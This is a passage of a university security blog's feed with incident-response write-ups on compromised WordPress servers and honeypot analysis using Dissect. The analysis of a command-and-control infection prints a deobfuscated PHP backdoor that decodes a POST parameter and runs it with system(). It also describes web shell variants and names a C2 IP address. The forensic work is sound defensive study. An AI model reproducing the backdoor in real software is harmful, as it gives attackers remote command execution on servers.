21)">"/mnt/data/snapshots/snapshot-ubuntu_2204-ff4b5af73ac04d279074922bfda47c05.qcow2"</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">  backing_path </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> Path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token string" style="color:rgb(163, 21, 21)">"/mnt/data/ubuntu-22.04.qcow2"</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">  result </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> analyze_image</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token plain">snapshot_path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"> backing_path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><br></div></code></pre></div></div>
<p>Taking a look into the <code>QCOW2</code> class itself, it allows <code>data_file</code> and a <code>backing_file</code> to be passed directly:</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token keyword" style="color:rgb(0, 0, 255)">class</span><span class="token plain"> </span><span class="token class-name" style="color:rgb(38, 127, 153)">QCow2</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token triple-quoted-string string" style="color:rgb(163, 21, 21)">"""QCOW2 virtual disk implementation.</span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="display:inline-block;color:rgb(163, 21, 21)"></span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="color:rgb(163, 21, 21)">    If a data-file is required and ``fh`` is not a ``Path``, it's required to manually pass a file like object</span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="color:rgb(163, 21, 21)">    in the `data_file` argument. Otherwise, the data file will be automatically opened if it exists in the same directory.</span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="color:rgb(163, 21, 21)">    It's possible to defer opening the data file by passing ``allow_no_data_file=True``.</span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="display:inline-block;color:rgb(163, 21, 21)"></span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="color:rgb(163, 21, 21)">    The same applies to the backing-file. This too can be deferred by passing ``allow_no_backing_file=True``.</span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="display:inline-block;color:rgb(163, 21, 21)"></span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="color:rgb(163, 21, 21)">    Args:</span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="color:rgb(163, 21, 21)">        fh: File handle or path to the QCOW2 file.</span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="color:rgb(163, 21, 21)">        data_file: Optional file handle for the data file. If not provided and ``fh`` is a ``Path``, it will try to open it automatically.</span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="color:rgb(163, 21, 21)">        backing_file: Optional file handle for the backing file. If not provided and ``fh`` is a ``Path``, it will try to open it automatically.</span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="color:rgb(163, 21, 21)">        allow_no_data_file: If True, allows the QCOW2 file to be opened without a data file.</span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="color:rgb(163, 21, 21)">        allow_no_backing_file: If True, allows the QCOW2 file to be opened without a backing file.</span><br></div><div class="token-line" style="color:#000000"><span class="token triple-quoted-string string" style="color:rgb(163, 21, 21)">    """</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token keyword" style="color:rgb(0, 0, 255)">def</span><span class="token plain"> </span><span class="token function" style="color:rgb(0, 0, 255)">__init__</span><span class="token punctuation" style="color:rgb(4, 81, 165)">(</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        self</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        fh</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"> BinaryIO </span><span class="token operator" style="color:rgb(0, 0, 0)">|</span><span class="token plain"> Path</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        data_file</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"> BinaryIO </span><span class="token operator" style="color:rgb(0, 0, 0)">|</span><span class="token plain"> </span><span class="token boolean">None</span><span class="token plain"> </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> </span><span class="token boolean">None</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        backing_file</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"> BinaryIO </span><span class="token operator" style="color:rgb(0, 0, 0)">|</span><span class="token plain"> </span><span class="token boolean">None</span><span class="token plain"> </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> </span><span class="token boolean">None</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        </span><span class="token operator" style="color:rgb(0, 0, 0)">*</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        allow_no_data_file</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"> </span><span class="token builtin" style="color:rgb(0, 112, 193)">bool</span><span class="token plain"> </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> </span><span class="token boolean">False</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        allow_no_backing_file</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><span class="token plain"> </span><span class="token builtin" style="color:rgb(0, 112, 193)">bool</span><span class="token plain"> </span><span class="token operator" style="color:rgb(0, 0, 0)">=</span><span class="token plain"> </span><span class="token boolean">False</span><span class="token punctuation" style="color:rgb(4, 81, 165)">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(4, 81, 165)">)</span><span class="token punctuation" style="color:rgb(4, 81, 165)">:</span><br></div></code></pre></div></div>
<p>In conclusion, by leveraging Dissect’s Python API flexibility and modularity, you can efficiently analyze Cowrie snapshots alongside their backing files, gaining insights into the threat actor activity without the overhead of manually looking into them. Whether you’re integrating Dissect as a step into a forensics pipeline or exploring honeypot snapshots, this approach minimizes time spent on investigating and extracting IOCs.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="soccare">SOCcare<a href="https://cybercloud.upb.ro/blog/dissect-for-cowrie#soccare" class="hash-link" aria-label="Direct link to SOCcare" title="Direct link to SOCcare" translate="no">​</a></h3>
<p>The SOCcare project is co-funded by the European Union, alongside our collaborators,
NRD Cyber Security and RevelSI, and supported by the
European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843.
Views and opinions expressed are however those of the author(s) only and do not necessarily
reflect those of the European Union or the European Cybersecurity Competence Centre.
Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="600">]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="forensics" term="forensics"/>
        <category label="threat intelligence analysis" term="threat intelligence analysis"/>
        <category label="ioc" term="ioc"/>
        <category label="dissect" term="dissect"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Yet Another Wordpress Victim - Investigating a Command and Control Attack]]></title>
        <id>https://cybercloud.upb.ro/blog/forensic-analysis-sandboxing</id>
        <link href="https://cybercloud.upb.ro/blog/forensic-analysis-sandboxing"/>
        <updated>2025-09-10T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Analyzing an infected WordPress server using sandboxes and reverse engineering tools]]></summary>
        <content type="html"><![CDATA[<p>Once again, we found ourselves investigating a compromised WordPress server.
In this blog post, you'll see how we investigated the attack and what useful information we have uncovered.</p>
<p><img decoding="async" loading="lazy" alt="alt text" src="https://cybercloud.upb.ro/assets/images/bernie-7f6bf164c19f59ab7f0db3f6d1894035.jpg" width="672" height="500" class="img_ev3q"></p>
<p>This time, the attack was discovered after a manual inspection on the hosting facility, where we observed several connections initiated by the hosting server to external IPs.
This is not something we expected to see, so we did some further inspection.
First, we extracted the executable files that started the processes and we upload their hashes on <a href="https://www.virustotal.com/" target="_blank" rel="noopener noreferrer" class="">Virustotal</a>.
Most of them are flagged as malicious, and we could see some connected IP addresses, but nothing more (a report for one of the files is <a href="https://www.virustotal.com/gui/file/746760c950fa9bf7ee6a25e45c246b0e676c298d2047d5cabd3b9dbf30019d24/detection" target="_blank" rel="noopener noreferrer" class="">here</a>).</p>
<p>All reports looked almost identical, and we will soon show you why.
Manually inspecting the files showed us a few more details:</p>
<ul>
<li class="">Birth dates are around July 4, 2025 (could be the start of the attack)</li>
<li class="">Modify dates are November 9, 2021 (so they were dropped on the server)</li>
</ul>
<p>Using this information, we extracted more files with the same properties.
All the files had similar sizes, identical birth and modify dates, and were flagged as malicious on Virustotal.
All the files were placed at paths like <code>wp-content/plugins/foogallery/</code>, <code>wp-content/themes/hey-wpcom/</code>, <code>wp-content/themes/lineup-wpcom/</code>, etc.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="php-obfuscated-files">PHP Obfuscated Files<a href="https://cybercloud.upb.ro/blog/forensic-analysis-sandboxing#php-obfuscated-files" class="hash-link" aria-label="Direct link to PHP Obfuscated Files" title="Direct link to PHP Obfuscated Files" translate="no">​</a></h2>
<p>Furthermore, we also found some obfuscated PHP files that we inspected using some <a href="https://github.com/simon816/PHPDeobfuscator" target="_blank" rel="noopener noreferrer" class="">PHP deobfuscator</a>.</p>
<p><img decoding="async" loading="lazy" alt="alt text" src="https://cybercloud.upb.ro/assets/images/obfuscated-php-ff5b6f19db6a1f209f29650c9a45ab5e.png" width="1911" height="136" class="img_ev3q"></p>
<div class="language-php codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-php codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">if (isset($_POST["hld"])) {</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    function __($_8, $_9)</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    {</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        $_10 = "";</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        $_11 = (int) ROuNd(0);</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        do {</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">            $_10 .= CHr(OrD($_8[$_11]) ^ $_9);</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">            $_11++;</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        } while ($_11 &lt; StrlEn($_8));</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        return $_10;</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    }</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    $_12 = hex2bin($_POST["hld"]);</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    $_12 = __($_12, 74);</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">    if (FuNctiON_ExisTs($_5)) {</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">        system($_12);</span><br></div></code></pre></div></div>
<p>We found 10 malicious PHP files.
Just like the binary files, some of them were very similar.
In the end, there were 3 types of obfuscated PHP files:</p>
<ul>
<li class="">Remote Code Execution (RCE) done by decoding a request parameter, header or cookie and then placing the decoded string into a <code>tmp/</code> file and using <code>include(/tmp/decoded-string)</code>.</li>
<li class="">RCE using the same string decoding, but this time with functions like <code>system</code>, so the payload was some bash command, not PHP (like the example presented above).</li>
<li class="">One file manager, that exposed an API for interacting with files on the server, dropping / reading files and listing directories.</li>
</ul>
<p>This is likely how the malicious binaries got on the server.</p>
<p>Next, we inspected the OpenSearch logs for the attack start period of time (sometime around July 4, according to the files birth date).
We discovered that, in the couple of days before the attack started, many connection attempts to the website login page were done.
Checking the IPs, we saw that many of them are flagged on Virustotal, and they come from all over the world.
At this point, we can assume this is a botnet trying to bruteforce it's way into the admin account.
It's likely using some leaked password database (we will confirm this later).
The spike of attempted connections ended few hours before the attack started, so we can assume it was successful.
After the successful login, the attacker can install plugins (like <code>wp-file-manager</code>) and drop the malicious files.</p>
<p><img decoding="async" loading="lazy" alt="alt text" src="https://cybercloud.upb.ro/assets/images/opensearch-ecf68e1be605d3dc73bb0b1d2a2fe59b.png" width="1508" height="272" class="img_ev3q"></p>
<p>We can also see in the OpenSearch logs the requests made to the malicious PHP files, but since the cookies and POST request parameters are not logged, we can not find the exact payloads that were used.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="binary-analysis">Binary Analysis<a href="https://cybercloud.upb.ro/blog/forensic-analysis-sandboxing#binary-analysis" class="hash-link" aria-label="Direct link to Binary Analysis" title="Direct link to Binary Analysis" translate="no">​</a></h2>
<p>Now that we went through the PHP malicious files, it's time to move on to the more interesting part, the executable files.
A quick inspection showed us that they are all statically linked executables, 8 of them are 32-bit ELF files, the other 9 are 64-bit.</p>
<div class="language-shell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">$ find . -perm 0744 -mtime +600 </span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./themes/twentytwentyfour/templates/database.mysqli</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./themes/twentynineteen/sass/media/gateways.inc</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./themes/twentytwentyone/assets/sass/05-blocks/utilities/ConfigSchema</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./themes/eduma/inc/libs/Tax-meta-class/dbx_convert</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./themes/eduma/inc/widgets/one-course-instructors/action.changedir</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./themes/eduma/assets/sass/courses/left_menu_var</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./themes/eduma/assets/sass/mixins/mediasize</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./themes/eduma/assets/sass/eduma-child-new-art/general/default_wdb</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./themes/eduma/assets/sass/eduma-child-new-art/elements/cp_header</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./themes/hey-wpcom/languages/mod_mainmenu</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./plugins/elementor/core/schemes/addgroup</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./plugins/elementor/core/settings/editor-preferences/editannouncegr</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./plugins/elementor/core/app/modules/kit-library/data/kits/endpoints/am.trackback</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./plugins/elementor/core/app/modules/kit-library/Portfolio</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">./plugins/elementor/assets/lib/waypoints/layersmenu.inc</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">[...]</span><br></div></code></pre></div></div>
<p>Some of the executable files that we initially observed were missing, so likely they self-deleted after starting.
Others were identical (same hashes), so we stripped them down to 17 individual ELF files.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="static-analysis">Static Analysis<a href="https://cybercloud.upb.ro/blog/forensic-analysis-sandboxing#static-analysis" class="hash-link" aria-label="Direct link to Static Analysis" title="Direct link to Static Analysis" translate="no">​</a></h3>
<p>Since we didn't know anything substantial about what the executable files do, we started with static analysis.
We used <a href="https://ghidralite.com/" target="_blank" rel="noopener noreferrer" class="">Ghidra</a> for reverse engineering, but any other similar tool will do the job.
We started with one executable, <code>database.mysqli - 6f91e0ab8f243a10ec6d73448e58d833</code>.</p>
<p>It looked like the executable relies on manual system calls, no <code>libc</code> or other libraries are used.
We mapped all the system calls, starting from the entrypoint of the executable.</p>
<p>We saw that several <code>getrlimit/setrlimit</code> call are being made.
The executable sets the maximum allowed values for <code>RLIMIT_NOFILE</code>, <code>RLIMIT_AS</code>, <code>RLIMIT_DATA</code>, <code>RLIMIT_STACK</code>.</p>
<div class="language-asm codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-asm codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token plain">804a02b:       55                      push   ebp</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a02c:       8b ec                   mov    ebp,esp</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a02e:       81 ec 84 00 00 00       sub    esp,0x84</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a034:       89 5d fc                mov    DWORD PTR [ebp-0x4],ebx</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a037:       8d bd 7c ff ff ff       lea    edi,[ebp-0x84]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a03d:       b9 80 00 00 00          mov    ecx,0x80</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a042:       32 c0                   xor    al,al</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a044:       f3 aa                   rep stos BYTE PTR es:[edi],al</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a046:       8b 5d fc                mov    ebx,DWORD PTR [ebp-0x4]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a049:       8d 8d 7c ff ff ff       lea    ecx,[ebp-0x84]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a04f:       b8 4c 00 00 00          mov    eax,0x4c</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a054:       cd 80                   int    0x80</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a056:       8d 75 80                lea    esi,[ebp-0x80]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a059:       8d bd 7c ff ff ff       lea    edi,[ebp-0x84]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a05f:       b9 04 00 00 00          mov    ecx,0x4</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a064:       f3 a4                   rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a066:       8b 5d fc                mov    ebx,DWORD PTR [ebp-0x4]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a069:       8d 8d 7c ff ff ff       lea    ecx,[ebp-0x84]</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a06f:       b8 4b 00 00 00          mov    eax,0x4b</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a074:       cd 80                   int    0x80</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a076:       c9                      leave</span><br></div><div class="token-line" style="color:#000000"><span class="token plain">804a077:       c3                      ret</span><br></div></code></pre></div></div>
<p>After that, it uses <code>sigaction</code> to ignore the <code>SIGHUP</code> signal.
Since <code>SIGHUP</code> is generated when the parent terminal is closed, the attacker likely does this in order to keep the process running after the parent (likely some RCE triggered by the malicious PHP files above) end it's execution.
Finally, it maps some RWX memory regions, and connects to <code>185.93.89.176:443</code>.
We checked the IP on <a href="https://www.virustotal.com/gui/ip-address/185.93.89.176" target="_blank" rel="noopener noreferrer" class="">Virustotal</a>.
It's marked as malicious by some of the vendors.</p>
<p>All of this can be also seen by performing dynamic analysis, using <code>strace</code> on a VM with no internet access.</p>
<p>We started the same procedure on another executable, and we saw that it looks absolutely identical.
It connects to a different IP, but the <code>.text</code> section is the same.
We can confirm this by extracting hashes for the <code>.text</code> section of all executables and compare them.
As expected, all 32-bit executables have identical <code>.text</code> session, and the same goes for the 64-bit ones.</p>
<p>So, we can assume that all executables connect to some different IPs (likely command and control servers), and wait for instructions.
This means there is not much else we can do using static analysis, so we must push further into dynamic analysis.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="dynamic-analysis">Dynamic Analysis<a href="https://cybercloud.upb.ro/blog/forensic-analysis-sandboxing#dynamic-analysis" class="hash-link" aria-label="Direct link to Dynamic Analysis" title="Direct link to Dynamic Analysis" translate="no">​</a></h3>
<p>Since we are dealing with proven malicious files, we must treat them as such.
Given that we found all the executable files on Virustotal, and the static analysis did not reveal any sensitive information being embedded in the files, we assumed that the attack is not targeted, and the files do not contain any private information.
This means we could use public sandboxing solutions.</p>
<p>The first try is <a href="https://app.any.run/" target="_blank" rel="noopener noreferrer" class="">AnyRun</a>, since it provides very detailed reports on the malware activity.
We upload the files and run them on an Ubuntu 22.04 machine.
As expected, the IPs did not work, and all we could find out for now is the initialized connection from the executable to a remote server, but with no response.</p>
<p>Since we had 17 executable files connecting to 17 different IP addresses, but using the same <code>.text</code> section, we assumed that the 17 IP addresses are responding at different times during the day, so we waited a few hours and ran the analysis again.</p>
<p>After many more tries, we noticed that, between 19:00 and 20:00 EEST, the IP for <code>class.mail</code> is up and running, so we have an hour to run the analysis.
Here is a <a href="https://app.any.run/tasks/25041063-a9d4-4312-a213-b3487b9dac25" target="_blank" rel="noopener noreferrer" class="">link to the AnyRun report</a>.</p>
<p>We notice that, after many requests to different IPs, it started doing HTTP requests to exposed WordPress instances, on port 80, using usernames and passwords that look like part of a breach (i.e. <code>log=&lt;...&gt;&amp;pwd=&lt;...&gt;</code>).
Some (very few) of the IP addresses were marked as known malicious, so likely someone already successfully infected them.</p>
<p>This tracks our initial assumption that our WordPress server was targeted by some bruteforce attack using leaked credentials.
This means the IPs that we saw at the beginning were likely other compromised servers.</p>
<p>Since that is all AnyRun could provide us (IOCs, Behaviour, Threats, Network activity), we could also run the executable on our VM and try to anything else different.
The AnyRun report is detailed enough, the only other thing we could hope to get our hands on were the self-deleting malware files, since the AnyRun reports are time limited to maximum 5 minutes.</p>
<p>We attached a network interface to our VM, use a firewall on the host machine to isolate the traffic form/to the VM, and ran the executable using gdb, and in parallel ran wireshark.</p>
<p>The wireshark output showed similar results to the AnyRun report, many HTTP-exposed WordPress instances being targeted, and nothing more.
Using gdb we noticed some new memory regions with rwx permissions, but nothing else noticeable happened during the one hour when the IP is up.
The missing files were not downloaded by this binary.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="soccare">SOCcare<a href="https://cybercloud.upb.ro/blog/forensic-analysis-sandboxing#soccare" class="hash-link" aria-label="Direct link to SOCcare" title="Direct link to SOCcare" translate="no">​</a></h3>
<p>The SOCcare project is co-funded by the European Union, alongside our collaborators,
NRD Cyber Security and RevelSI, and supported by the
European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843.
Views and opinions expressed are however those of the author(s) only and do not necessarily
reflect those of the European Union or the European Cybersecurity Competence Centre.
Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.</p>
<img src="https://cybercloud.upb.ro/assets/images/soccare-3ffdce75e28e7ae22fefbbfab9892d0d.png" width="600">]]></content>
        <category label="SOCcare" term="SOCcare"/>
        <category label="security" term="security"/>
        <category label="threat intelligence sharing" term="threat intelligence sharing"/>
        <category label="wordpress" term="wordpress"/>
        <category label="command and control" term="command and control"/>
        <category label="systembc" term="systembc"/>
        <category label="sandboxing" term="sandboxing"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Dissecting the Breach - Investigating a Web Shell Infection in WordPress]]></title>
        <id>https://cybercloud.upb.ro/blog/forensic-analysis-wordpress</id>
        <link href="https://cybercloud.upb.ro/blog/forensic-analysis-wordpress"/>
        <updated>2025-06-20T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Analyzing a compromised WordPress server with Dissect]]></summary>
        <content type="html"><![CDATA[<p>This time, we've been requested to take a look into a compromised WordPress server.
In this blog post, you'll see how we approached the post-incident forensics and what interesting artifacts we've uncovered.</p>
<p>For this incident, we were provided with a disk snapshot of a compromised Wordpress server stored as a <code>qcow2</code> image.
Extracting forensic data from a snapshot is a great task for using <a href="https://docs.dissect.tools/en/stable/index.html" target="_blank" rel="noopener noreferrer" class="">Dissect</a> because it allows us to analyze targets without mounting or booting them. Dissect is actually a collection of modular tools that can be combined or extended to retrieve common information from the targets (users, cron jobs, services, history, filesystem entries).</p>
<p>In this investigation, we mostly used the following commands:</p>
<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">target-info</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">target-query -f users,cronjobs,services</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">target-query -f walkfs</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">target-fs</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">target-shell</span><br></div></code></pre></div></div>
<p>We started by gathering some initial data from the system using <code>target-info</code>:</p>
<div class="language-shell-session codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#000000;--prism-background-color:#ffffff"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-shell-session codeBlock_bY9V thin-scrollbar" style="color:#000000;background-color:#ffffff"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#000000"><span class="token command shell-symbol important">$</span><span class="token command"> </span><span class="token command bash language-bash">target-info wordpress.qcow2</span><span class="token plain"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#000000"><span class="token plain"></span><span class="token output">Disks</span><br></div><div class="token-line" style="color:#000000"><span class="token output">- &lt;Disk type="QCow2Container" size="68719476736"&gt;</span><br></div><div class="token-line" style="color:#000000"><span class="token output"></span><br></div><div class="token-line" style="color:#000000"><span class="token output">Volumes</span><br></div><div class="token-line" style="color:#000000"><span class="token output">- &lt;Volume name="part_06f00000" size="68603067392" fs="ExtFilesystem"&gt;</span><br></div><div class="token-line" style="color:#000000"><span class="token output">- &lt;Volume name="part_00100000" size="4193792" fs="NoneType"&gt;</span><br></div><div class="token-line" style="color:#000000"><span class="token output">- &lt;Volume name="part_00500000" size="111148544" fs="FatFilesystem"&gt;</span><br></div><div class="token-line" style="color:#000000"><span class="token output"></span><br></div><div class="token-line" style="color:#000000"><span class="token output">Hostname       : wordpress</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Domain         : None</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Ips            : &lt;redacted&gt;</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Os family      : linux</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Os version     : Ubuntu 20.04.6 LTS (Focal Fossa)</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Architecture   : x86_64-linux</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Language       :</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Timezone       : UTC</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Install date   : 2022-06-10T09:22:32.214000+00:00</span><br></div><div class="token-line" style="color:#000000"><span class="token output">Last activity  : 2025-04-15T07:23:01.955681+00:00</span><br></div></code></pre></div></div>
<p>One important piece of information from the output is the <strong><code>Last activity</code></strong> date - <strong><code>2025-04-15T07:23:01</code></strong>.
We used this timestamp as a starting point to check filesystem changes such as newly created or modified files.</p>
<p>To extract metadata information about the filesystem entries, we leveraged <code>target-query -f walkfs</code>.
This approach will help us to be able to easily manipulate data later with <code>awk</code>/<code>cut</code>.</p>
